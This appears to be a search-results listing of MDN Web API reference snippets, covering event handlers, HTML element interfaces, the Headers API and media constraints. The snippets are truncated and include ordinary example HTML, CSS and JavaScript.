GlobalEventHandlers.onload - Web APIs
there are also dom events like dom
contentloaded and domframe
contentloaded (which can be handled using eventtarget.addeventlistener()) which are fired after the dom for the page has been constructed, but do not wait for other resources to finish loading.
GlobalEventHandlers.onloadend - Web APIs
examples html
content <img src="myimage.jpg"> javascript
content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); ...
GlobalEventHandlers.onloadstart - Web APIs
examples html
content <img src="myimage.jpg"> javascript
content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); specifications specification status comment html l...
GlobalEventHandlers.onmousemove - Web APIs
border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; node.setattribute('hidden', ''); document.body.appendchild(node); this.follow = function(event) { node.style.left = event.clientx + 20 + 'px'; node.style.top = event.clienty + 10 + 'px'; }; this.show = function(event) { node.text
content = event.target.dataset.tooltip; node.removeattribute('hidden'); }; this.hide = function() { node.setattribute('hidden', ''); }; })(); const links = document.queryselectorall('a'); links.foreach(link => { link.onmouseover = tooltip.show; link.onmousemove = tooltip.follow; link.onmouseout = tooltip.hide; }); result draggable elements we also have an example available sho...
GlobalEventHandlers.onpointerdown - Web APIs
the handledown() function, in turn, looks at the value of pointertype to determine what kind of pointing device was used, then uses that information to customize a string to replace the
contents of the target box.
GlobalEventHandlers.onpointerleave - Web APIs
the global event handler for the pointerleave event, which is delivered to a node when the pointer (mouse cursor, fingertip, etc.) exits its hit test area (for example, if the cursor exits an element or window's
content area).
GlobalEventHandlers.onreset - Web APIs
html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="reset">reset form</button> </form> <p id="log"></p> javascript function logreset(event) { log.text
content = `form reset!
GlobalEventHandlers.onresize - Web APIs
examples window size logger <p>resize the browser window to fire the <code>resize</code> event.</p> <p>window height: <span id="height"></span></p> <p>window width: <span id="width"></span></p> const heightoutput = document.queryselector('#height'); const widthoutput = document.queryselector('#width'); function resize() { heightoutput.text
content = window.innerheight; widthoutput.text
content = window.innerwidth; } window.onresize = resize; specification specification status comment html living standardthe definition of 'onresize' in that specification.
GlobalEventHandlers.onselect - Web APIs
html <textarea>try selecting some text in this element.</textarea> <p id="log"></p> javascript function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.text
content = `you selected: ${selection}`; } const textarea = document.queryselector('textarea'); textarea.onselect = logselection; result specification specification status comment html living standardthe definition of 'onselect' in that specification.
HTMLAreaElement.relList - Web APIs
the property itself is read-only, meaning you can't substitute the domtokenlist by another one, but the
content of the returned list can be changed.
HTMLButtonElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <button id="test">button</button> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("dom
contentloaded", function() { const button = document.getelementbyid("test"); for(var i = 0; i < button.labels.length; i++) { console.log(button.labels[i].text
content); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLButtonElement - Web APIs
htmlbuttonelement.formenctype is a domstring reflecting the type of
content that is used to submit the form to the server.
HTMLCanvasElement.captureStream() - Web APIs
the htmlcanvaselement capturestream() method returns a mediastream which includes a canvascapturemediastreamtrack containing a real-time video capture of the canvas's
contents.
HTMLCanvasElement.toDataURL() - Web APIs
exceptions securityerror the canvas's bitmap is not origin clean; at least some of its
contents have or may have been loaded from a site other than the one from which the document itself was loaded.
HTMLCanvasElement - Web APIs
web
content can set this to a javascript function that will be called when the canvas is to be redrawn while the page is being printed.
HTMLCollection.item - Web APIs
note: because the
contents of an htmlcollection are live, changes to the underlying dom can and will cause the position of individual nodes in the collection to change, so the index value will not necessarily remain constant for a given node.
HTMLDataListElement - Web APIs
the htmldatalistelement interface provides special properties (beyond the htmlelement object interface it also has available to it by inheritance) to manipulate <datalist> elements and their
content.
HTMLDetailsElement - Web APIs
htmldetailselement.open is a boolean reflecting the open html attribute, indicating whether or not the element’s
contents (not counting the <summary>) is to be shown to the user.
HTMLDialogElement: cancel event - Web APIs
html <dialog class="example-dialog"> <button class="close" type="reset">close</button> </dialog> <button class="open-dialog">open dialog</button> <div class="result"></div> css button, div { margin: .5rem; } js const result = document.queryselector('.result'); const dialog = document.queryselector('.example-dialog'); dialog.addeventlistener('cancel', (event) => { result.text
content = 'dialog was canceled'; }); const opendialog = document.queryselector('.open-dialog'); opendialog.addeventlistener('click', () => { if (typeof dialog.showmodal === 'function') { dialog.showmodal(); result.text
content = ''; } else { result.text
content = 'the dialog api is not supported by this browser'; } }); const closebutton = document.queryselector('.close'); closebut...
HTMLDialogElement: close event - Web APIs
html <dialog class="example-dialog"> <button class="close" type="reset">close</button> </dialog> <button class="open-dialog">open dialog</button> <div class="result"></div> css button, div { margin: .5rem; } js const result = document.queryselector('.result'); const dialog = document.queryselector('.example-dialog'); dialog.addeventlistener('close', (event) => { result.text
content = 'dialog was closed'; }); const opendialog = document.queryselector('.open-dialog'); opendialog.addeventlistener('click', () => { if (typeof dialog.showmodal === 'function') { dialog.showmodal(); result.text
content = ''; } else { result.text
content = 'the dialog api is not supported by this browser'; } }); const closebutton = document.queryselector('.close'); closebutto...
HTMLDivElement - Web APIs
htmldivelement.align is a domstring representing an enumerated property indicating alignment of the element's
contents with respect to the surrounding context.
accessKeyLabel - Web APIs
syntax label = element.accesskeylabel example javascript var node = document.getelementbyid('btn1'); if (node.accesskeylabel) { node.title += ' [' + node.accesskeylabel + ']'; } else { node.title += ' [' + node.accesskey + ']'; } node.onclick = function () { var p = document.createelement('p'); p.text
content = 'clicked!'; node.parentnode.appendchild(p); }; html <button accesskey="h" title="caption" id="btn1">hover me</button> result specifications specification status comment html living standardthe definition of 'htmlelement.accesskeylabel' in that specification.
HTMLElement.lang - Web APIs
the htmlelement.lang property gets or sets the base language of an element's attribute values and text
content.
HTMLElement: transitioncancel event - Web APIs
const message = document.queryselector('.message'); const el = document.queryselector('.transition'); el.addeventlistener('transitionrun', function() { message.text
content = 'transitionrun fired'; }); el.addeventlistener('transitionstart', function() { message.text
content = 'transitionstart fired'; }); el.addeventlistener('transitioncancel', function() { message.text
content = 'transitioncancel fired'; }); el.addeventlistener('transitionend', function() { message.text
content = 'transitionend fired'; }); the transitioncancel event is fired if the transit...
HTMLElement: transitionend event - Web APIs
const message = document.queryselector('.message'); const el = document.queryselector('.transition'); el.addeventlistener('transitionrun', function() { message.text
content = 'transitionrun fired'; }); el.addeventlistener('transitionstart', function() { message.text
content = 'transitionstart fired'; }); el.addeventlistener('transitioncancel', function() { message.text
content = 'transitioncancel fired'; }); el.addeventlistener('transitionend', function() { message.text
content = 'transitionend fired'; }); the transitionend event is fired in both direction...
HTMLElement: transitionrun event - Web APIs
const el = document.queryselector('.transition'); const message = document.queryselector('.message'); el.addeventlistener('transitionrun', function() { message.text
content = 'transitionrun fired'; }); el.addeventlistener('transitionstart', function() { message.text
content = 'transitionstart fired'; }); el.addeventlistener('transitionend', function() { message.text
content = 'transitionend fired'; }); the difference is that: transitionrun fires when the transition is created (i.e.
HTMLElement: transitionstart event - Web APIs
const transition = document.queryselector('.transition'); const message = document.queryselector('.message'); transition.addeventlistener('transitionrun', function() { message.text
content = 'transitionrun fired'; }); transition.addeventlistener('transitionstart', function() { message.text
content = 'transitionstart fired'; }); transition.addeventlistener('transitionend', function() { message.text
content = 'transitionend fired'; }); the difference is that: transitionrun fires when the transition is created (i.e.
HTMLEmbedElement - Web APIs
htmlembedelement.align is a domstring representing an enumerated property indicating alignment of the element's
contents with respect to the surrounding context.
HTMLFormElement: reset event - Web APIs
html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="reset">reset form</button> </form> <p id="log"></p> javascript function logreset(event) { log.text
content = `form reset!
HTMLFormElement: submit event - Web APIs
html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="submit">submit form</button> </form> <p id="log"></p> javascript function logsubmit(event) { log.text
content = `form submitted!
HTMLFormElement - Web APIs
htmlformelement.encoding or htmlformelement.enctype a domstring reflecting the value of the form's enctype html attribute, indicating the type of
content that is used to transmit the form to the server.
srcdoc - Web APIs
the srcdoc property of the htmliframeelement specifies the
content of the page.
HTMLImageElement.loading - Web APIs
this helps to optimize the loading of the document's
contents by postponing loading the image until it's expected to be needed, rather than immediately during the initial page load.
HTMLImageElement.longDesc - Web APIs
syntax descurl = htmlimageelement.longdesc; htmlimageelement.longdesc = descurl; value a domstring which may be either an empty string (indicating that no long description is available) or the url of a file containing a long form description of the image's
contents.
HTMLInputElement: invalid event - Web APIs
<form action="#"> <ul> <li><label>enter an integer between 1 and 10: <input type="number" min="1" max="10" required></label></li> <li><input type="submit" value="submit"></li> </ul> </form><p id="log"></p> javascript const input = document.queryselector('input') const log = document.getelementbyid('log') input.addeventlistener('invalid', logvalue) function logvalue(e) { log.text
content += e.target.value } result specifications specification status comment html living standardthe definition of 'invalid event' in that specification.
HTMLInputElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <input id="test"/> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("dom
contentloaded", function() { const input = document.getelementbyid("test"); for(var i = 0; i < input.labels.length; i++) { console.log(input.labels[i].text
content); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLLinkElement.as - Web APIs
the as property of the htmllinkelement interface returns a domstring representing the type of
content being loaded by the html link, one of "script", "style", "image", "video", "audio", "track", "font", "fetch".
HTMLLinkElement.relList - Web APIs
the property itself is read-only, meaning you can substitute the domtokenlist by another one, but the
content of the returned list can be changed.
HTMLMediaElement.autoplay - Web APIs
syntax htmlmediaelement.autoplay = true | false; var autoplay = htmlmediaelement.autoplay; value a boolean whose value is true if the media element will begin playback as soon as enough
content has loaded to allow it to do so without interruption.
HTMLMediaElement: canplay event - Web APIs
the canplay event is fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of
content.
HTMLMediaElement: canplaythrough event - Web APIs
the canplaythrough event is fired when the user agent can play the media, and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of
content.
HTMLMediaElement.textTracks - Web APIs
instead, they're sent to the track list object of the htmlmediaelement that corresponds to the type of track that was added to the element the returned list is live; that is, as tracks are added to and removed from the media element, the list's
contents change dynamically.
HTMLMeterElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <meter id="test" min="0" max="100" value="70">70</meter> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("dom
contentloaded", function() { const meter = document.getelementbyid("test"); for(var i = 0; i < meter.labels.length; i++) { console.log(meter.labels[i].text
content); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
Option() - Web APIs
syntax var optionelementreference = new option(text, value, defaultselected, selected); parameters text optional a domstring representing the
content of the element, i.e.
HTMLOrForeignElement - Web APIs
propertiesdataset read only the dataset read-only property of the htmlorforeignelement interface provides read/write access to all the custom data attributes (data-*) set on the element.nonce the nonce property of the htmlorforeignelement interface returns the cryptographic number used once that is used by
content security policy to determine whether a given fetch will be allowed to proceed.tabindexthe tabindex property of the htmlorforeignelement interface represents the tab order of the current element.methodsblur()the htmlelement.blur() method removes keyboard focus from the current element.focus()the htmlelement.focus() method sets focus on the specified element, if it can be focused.
HTMLOutputElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <output id="test">output</output> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("dom
contentloaded", function() { const output = document.getelementbyid("test"); for(var i = 0; i < output.labels.length; i++) { console.log(output.labels[i].text
content); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLParagraphElement - Web APIs
htmlparagraphelement.align a domstring representing an enumerated property indicating alignment of the element's
contents with respect to the surrounding context.
HTMLProgressElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <progress id="test" value="70" max="100">70%</progress> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("dom
contentloaded", function() { const progress = document.getelementbyid("test"); for(var i = 0; i < progress.labels.length; i++) { console.log(progress.labels[i].text
content); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLProgressElement - Web APIs
htmlprogresselement.max is a double value reflecting the
content attribute of the same name, limited to numbers greater than zero.
HTMLSelectElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <select id="test"> <option value="1">option 1</option> <option value="2">option 2</option> </select> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("dom
contentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.labels.length; i++) { console.log(select.labels[i].text
content); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLSelectElement.options - Web APIs
example html <label for="test">label</label> <select id="test"> <option value="1">option 1</option> <option value="2">option 2</option> </select> javascript window.addeventlistener("dom
contentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.options.length; i++) { console.log(select.options[i].label); // "option 1" and "option 2" } }); specifications specification status comment html living standardthe definition of 'options' in that specification.
HTMLSelectElement.selectedOptions - Web APIs
result the resulting
content looks like this in action: specifications specification status comment html living standardthe definition of 'htmlselectelement.selectedoptions' in that specification.
HTMLSlotElement.name - Web APIs
ots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its
contents changed in the example.
HTMLSlotElement: slotchange event - Web APIs
let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the <slot>s, then add a slotchange event listener to the template's second slot — which is the one which has its
contents changed in the example.
HTMLTableElement.createCaption() - Web APIs
html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> </table> javascript let table = document.queryselector('table'); let caption = table.createcaption(); caption.text
content = 'this caption was created by javascript!'; result specifications specification status comment html living standardthe definition of 'htmltableelement: createcaption' in that specification.
HTMLTableRowElement.rowIndex - Web APIs
<th>price</th></tr> </thead> <tbody> <tr><td>bananas</td> <td>$2</td></tr> <tr><td>oranges</td> <td>$8</td></tr> <tr><td>top sirloin</td> <td>$20</td></tr> </tbody> <tfoot> <tr><td>total</td> <td>$30</td></tr> </tfoot> </table> javascript let rows = document.queryselectorall('tr'); rows.foreach((row) => { let z = document.createelement("td"); z.text
content = `(row #${row.rowindex})`; row.appendchild(z); }); result ...
HTMLTextAreaElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <textarea id="test">some text</textarea> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("dom
contentloaded", function() { const textarea = document.getelementbyid("test"); for(var i = 0; i < textarea.labels.length; i++) { console.log(textarea.labels[i].text
content); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
Dragging and Dropping Multiple Items - Web APIs
"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<<error>>\n"); dump(ex); } } } } function output(text) { document.getelementbyid("output").text
content += text; dump(text); } </script> </head> <body> <div id="output" style="min-height: 100px; white-space: pre; border: 1px solid black;" ondragenter="document.getelementbyid('output').text
content = ''; event.stoppropagation(); event.preventdefault();" ondragover="event.stoppropagation(); event.preventdefault();" ondrop="event.stoppropagation(); event.preventdefault(); dodrop(even...
HTML Drag and Drop API - Web APIs
identify what is draggable making an element draggable requires adding the draggable attribute and the ondragstart global event handler, as shown in the following code sample: <script> function dragstart_handler(ev) { // add the target element's id to the data transfer object ev.datatransfer.setdata("text/plain", ev.target.id); } window.addeventlistener('dom
contentloaded', () => { // get the element by id const element = document.getelementbyid("p1"); // add the ondragstart event listener element.addeventlistener("dragstart", dragstart_handler); }); </script> <p id="p1" draggable="true">this element is draggable.</p> for more information, see: draggable attribute reference drag operations guide define the drag's data the applicati...
Headers.append() - Web APIs
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using append(): myheaders.append('
content-type', 'image/jpeg'); myheaders.get('
content-type'); // returns 'image/jpeg' if the specified header already exists, append() will change its value to the specified value.
Headers.delete() - Web APIs
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append: myheaders.append('
content-type', 'image/jpeg'); myheaders.get('
content-type'); // returns 'image/jpeg' you can then delete it again: myheaders.delete('
content-type'); myheaders.get('
content-type'); // returns null, as it has been deleted specifications specification status comment fetchthe definition of 'delete()' in that specification.
Headers.entries() - Web APIs
example // create a test headers object var myheaders = new headers(); myheaders.append('
content-type', 'text/xml'); myheaders.append('vary', 'accept-language'); // display the key/value pairs for (var pair of myheaders.entries()) { console.log(pair[0]+ ': '+ pair[1]); } the result is:
content-type: text/xml vary: accept-language ...
Headers.get() - Web APIs
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty myheaders.get('not-set'); // returns null you could add a header to this using headers.append, then retrieve it using get(): myheaders.append('
content-type', 'image/jpeg'); myheaders.get('
content-type'); // returns "image/jpeg" if the header has multiple values associated with it, the byte string will contain all the values, in the order they were added to the headers object: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gzip'); myheaders.get('accept-encoding'); // returns "deflate,gzip" note: header...
Headers.getAll() - Web APIs
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then retrieve it using getall(): myheaders.append('
content-type', 'image/jpeg'); myheaders.getall('
content-type'); // returns [ "image/jpeg" ] if the header has multiple values associated with it, the array will contain all the values, in the order they were added to the headers object: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gzip'); myheaders.getall('accept-encoding'); // returns [ "deflate", "gzip" ] no...
Headers.has() - Web APIs
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then test for the existence of it using has(): myheaders.append('
content-type', 'image/jpeg'); myheaders.has('
content-type'); // returns true myheaders.has('accept-encoding'); // returns false specifications specification status comment fetchthe definition of 'has()' in that specification.
Headers.keys() - Web APIs
example // create a test headers object var myheaders = new headers(); myheaders.append('
content-type', 'text/xml'); myheaders.append('vary', 'accept-language'); // display the keys for(var key of myheaders.keys()) { console.log(key); } the result is:
content-type vary ...
Headers.set() - Web APIs
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then set a new value for this header using set(): myheaders.append('
content-type', 'image/jpeg'); myheaders.set('
content-type', 'text/html'); if the specified header does not already exist, set() will create it and set its value to the specified value.
Headers.values() - Web APIs
example // create a test headers object var myheaders = new headers(); myheaders.append('
content-type', 'text/xml'); myheaders.append('vary', 'accept-language'); // display the values for (var value of myheaders.values()) { console.log(value); } the result is: text/xml accept-language ...
Headers - Web APIs
examples in the following snippet, we create a new header using the headers() constructor, add a new header to it using append(), then return that header value using get(): var myheaders = new headers(); myheaders.append('
content-type', 'text/xml'); myheaders.get('
content-type') // should return 'text/xml' the same can be achieved by passing an array of arrays or an object literal to the constructor: var myheaders = new headers({ '
content-type': 'text/xml' }); // or, using an array of arrays: myheaders = new headers([ ['
content-type', 'text/xml'] ]); myheaders.get('
content-type') // should return 'text/xml' ...
Working with the History API - Web APIs
here too, going back doesn't change the document's
contents from what they were in the previous step, although the document might update its
contents manually upon receiving the popstate event.
History API - Web APIs
it exposes useful methods and properties that let you navigate back and forth through the user's history, and manipulate the
contents of the history stack.
ImageBitmapRenderingContext - Web APIs
the imagebitmaprenderingcontext interface is a canvas rendering context that provides the functionality to replace the canvas's
contents with the given imagebitmap.
KeyboardEvent.key - Web APIs
if the key produces a character key that would result in a character being inserted into possibly an <input>, <textarea> or an element with htmlelement.
contenteditable set to true, the beforeinput and input event types are fired in that order.
KeyboardEvent - Web APIs
on those platforms, then, an auto-repeat key will generate the following sequence of events: keydown keypress keyup keydown keypress keyup <<repeating until the user releases the key>> keyup in these environments, unfortunately, there's no way for web
content to tell the difference between auto-repeating keys and keys that are just being pressed repeatedly.
LocalMediaStream - Web APIs
do not use localmediastream; you need to update any code that does use it as soon as possible or your
content or application will stop working.
Location - Web APIs
h" title="hash">#bang</span></span> css html, body {height:100%;} html {display:table; width:100%;} body {display:table-cell; text-align:center; vertical-align:middle; font-family:georgia; font-size:230%; line-height:1em; white-space:nowrap;} [title] {position:relative; display:inline-block; box-sizing:border-box; /*border-bottom:.5em solid;*/ line-height:2em; cursor:pointer;} [title]:before {
content:attr(title); font-family:monospace; position:absolute; top:100%; width:100%; left:50%; margin-left:-50%; font-size:40%; line-height:1.5; background:black;} [title]:hover:before, :target:before {background:black; color:yellow;} [title] [title]:before {margin-top:1.5em;} [title] [title] [title]:before {margin-top:3em;} [title]:hover, :target {position:relative; z-index:1; outline:50em solid rgba(...
MSGraphicsTrust - Web APIs
status a read-only property which returns an enum with the driver status when playing protected
content.
MediaDecodingConfiguration - Web APIs
examples //create media configuration to be tested const mediaconfig = { type : 'file', // or 'media-source' video : {
contenttype : "video/webm;codecs=vp8", // valid
content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video framerate : 30 // number of frames making up that 1s.
MediaEncodingConfiguration - Web APIs
examples //create media configuration to be tested const mediaconfig = { type : 'record', // or 'transmission' video : {
contenttype : "video/webm;codecs=vp8", // valid
content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video framerate : 30 // number of frames making up that 1s.
MediaImage - Web APIs
its
contents can be displayed by the user agent in appropriate contexts, like player interface to show the current playing video or audio track.
message - Web APIs
the mediakeymessageevent.message read-only property returns an arraybuffer with a message from the
content decryption module.
close() - Web APIs
the mediakeysession.close() method notifies that the current media session is no longer needed, and that the
content decryption module should release any resources associated with this object and close it.
load() - Web APIs
}); parameter sessionid a unique string generated by the
content decription module for the current media object and its associated keys or licenses.
MediaKeySession.onmessage - Web APIs
the onmessage property of the mediakeysession is an event handler, fired whenever a mediakeymessageevent occurs, denoting a message is generated by the
content decryption module.
MediaKeySystemAccess - Web APIs
the mediakeysystemaccess interface of the encryptedmediaextensions api provides access to a key system for decryption and/or a
content protection provider.
audioCapabilities - Web APIs
syntax var audiocapabilities[ {
contenttype: '
contenttype', robustness:'robustness'}] = mediasystemconfiguration.audiocapabilities; specifications specification status comment encrypted media extensionsthe definition of 'audiocapabilities' in that specification.
videoCapabilities - Web APIs
syntax var videocapabilities[{
contenttype: '
contenttype', robustness:'robustness'}] = mediasystemconfiguration.videocapabilities; specifications specification status comment encrypted media extensionsthe definition of 'videocapabilities' in that specification.
createSession() - Web APIs
the mediakeys.createsession() method returns a new mediakeysession object, which represents a context for message exchange with a
content decryption module (cdm).
MediaKeys - Web APIs
methods mediakeys.createsession() returns a new mediakeysession object, which represents a context for message exchange with a
content decryption module (cdm).
MediaPositionState - Web APIs
its
contents can be used by the user agent to provide a user interface displaying information about the playback position and duration of the media currently being performed.
MediaQueryList.addListener() - Web APIs
examples var para = document.queryselector('p'); var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.text
content = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.text
content = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment ...
MediaQueryList.removeListener() - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.text
content = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.text
content = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); // later on, when it is no longer needed mql.removelistener(screen...
MediaQueryList - Web APIs
var para = document.queryselector('p'); var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.text
content = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.text
content = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addeventlistener('change', screentest); note: you can find this example on github (see the...
MediaQueryListEvent.matches - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.text
content = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.text
content = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment ...
MediaQueryListEvent.media - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.text
content = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.text
content = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } console.log(e.media); } mql.addlistener(screentest); specifications specification ...
MediaQueryListEvent - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.text
content = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.text
content = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment ...
MediaSource.isTypeSupported() - Web APIs
this is because media files are complex, intricate constructs with far too many subtle variations to be absolutely certain of anything until you actually use the
contents of the media.
MediaStreamConstraints - Web APIs
streams isolated in this way can only be displayed in a media element (<audio> or <video>) where the
content is protected just as if cors cross-origin rules were in effect.
MediaStreamTrack - Web APIs
mediastreamtrack.
contenthint a string that may be used by the web application to provide a hint as to what type of
content the track contains to guide how it should be treated by api consumers.
MediaTrackConstraints.logicalSurface - Web APIs
this is used to specify whether or not getdisplaymedia() should allow the user to choose display surfaces which are not necessarily fully visible on the screen, such as occluded windows or the complete
content of windows which are large enough to require scrolling to see their entire
contents.
MediaTrackSettings.cursor - Web APIs
syntax cursorsetting = mediatracksettings.cursor; value the value of cursor comes from the cursorcaptureconstraint enumerated string type, and may have one of the following values: always the mouse should always be visible in the video
content of the {domxref("mediastream"), unless the mouse has moved outside the area of the
content.
MediaTrackSettings.groupId - Web APIs
syntax var groupid = mediatracksettings.groupid; value a domstring whose value is a browsing-session unique identifier for a group of devices which includes the source of the track's
contents.
MediaTrackSupportedConstraints.aspectRatio - Web APIs
example html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().aspectratio) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment m...
MediaTrackSupportedConstraints.autoGainControl - Web APIs
html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().autogaincontrol) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment ...
MediaTrackSupportedConstraints.channelCount - Web APIs
example html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().channelcount) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment medi...
MediaTrackSupportedConstraints.cursor - Web APIs
the mediatracksupportedconstraints dictionary's cursor property indicates whether or not the cursor constraint is supported by the user agent and the device on which the
content is being used.
MediaTrackSupportedConstraints.deviceId - Web APIs
example html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().deviceid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media ca...
MediaTrackSupportedConstraints.echoCancellation - Web APIs
example html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().echocancellation) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment ...
MediaTrackSupportedConstraints.groupId - Web APIs
example html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().groupid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media cap...
MediaTrackSupportedConstraints.height - Web APIs
example html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().height) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capt...
MediaTrackSupportedConstraints.latency - Web APIs
example html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
